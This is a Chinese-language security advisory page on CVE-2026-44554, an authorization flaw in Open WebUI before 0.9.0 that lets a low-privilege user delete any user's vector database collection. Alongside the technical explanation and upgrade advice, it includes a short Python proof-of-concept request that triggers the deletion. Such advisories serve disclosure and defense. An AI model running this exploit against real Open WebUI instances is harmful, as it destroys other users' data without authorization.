IPBUF安全漏洞报告
English
CVE-2026-44554 CVSS 8.1 高危

CVE-2026-44554 Open WebUI 权限绕过导致数据删除漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-44554
漏洞类型
访问控制失效
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

访问控制失效Open WebUI权限绕过数据删除CVE-2026-44554

漏洞概述

Open WebUI是一个旨在完全离线运行的自托管人工智能平台。在0.9.0版本之前,该平台存在一个严重的安全漏洞。该漏洞位于POST /api/v1/retrieval/process/web接口,该接口接受用户提供的collection_name和overwrite查询参数(默认为True)。由于系统设计缺陷,未对调用者是否拥有目标集合的所有权或写权限进行授权检查。当overwrite参数被设置为True时,系统会在写入新内容前调用VECTOR_DB_CLIENT.delete_collection()删除目标集合。这导致经过认证的低权限攻击者可以删除系统中任意用户的向量数据库集合,造成严重的数据丢失和完整性破坏。

技术细节

该漏洞的核心在于Open WebUI后端在处理向量数据库写入请求时,未能正确实施对象级别的访问控制(IDOR)。在save_docs_to_vector_db函数的逻辑中,当overwrite参数为True时,程序会直接执行删除操作以腾出空间,而跳过了验证当前用户身份与目标collection_name之间关联性的步骤。攻击者首先需要获取一个合法的低权限用户会话(Cookie或Token)。随后,通过构造恶意的HTTP POST请求发送至/api/v1/retrieval/process/web端点,并在请求体或URL参数中指定想要删除的集合名称(collection_name)以及overwrite=True。由于后端缺乏校验机制,向量数据库客户端(VECTOR_DB_CLIENT)会立即执行删除命令。根据CVSS 3.1评分标准,此漏洞利用难度低,无需用户交互,且对数据的完整性和可用性造成高影响,属于高危漏洞。

攻击链分析

STEP 1
侦察
识别目标Open WebUI实例,确认其版本低于0.9.0。
STEP 2
认证
使用普通用户账户登录系统,获取有效的会话Token。
STEP 3
利用
向/api/v1/retrieval/process/web端点发送包含恶意collection_name和overwrite=True参数的POST请求。
STEP 4
影响
服务器端未校验权限,直接执行VECTOR_DB_CLIENT.delete_collection(),导致目标集合数据被删除。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target:8080/api/v1/retrieval/process/web" # Headers with low-privilege user token headers = { "Authorization": "Bearer <LOW_PRIV_TOKEN>", "Content-Type": "application/json" } # Payload to delete a specific collection # collection_name: ID of the target collection to delete # overwrite: Must be True to trigger the deletion logic payload = { "collection_name": "target_collection_id", "overwrite": True } # Send the request response = requests.post(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful: Collection likely deleted.") else: print(f"[-] Exploit failed: {response.status_code} - {response.text}")

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
建议立即将Open WebUI升级到0.9.0版本以彻底修复此漏洞。如果无法立即升级,应通过网络ACL限制对/api/v1/retrieval/process/web端点的访问,或者暂时禁用该功能,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表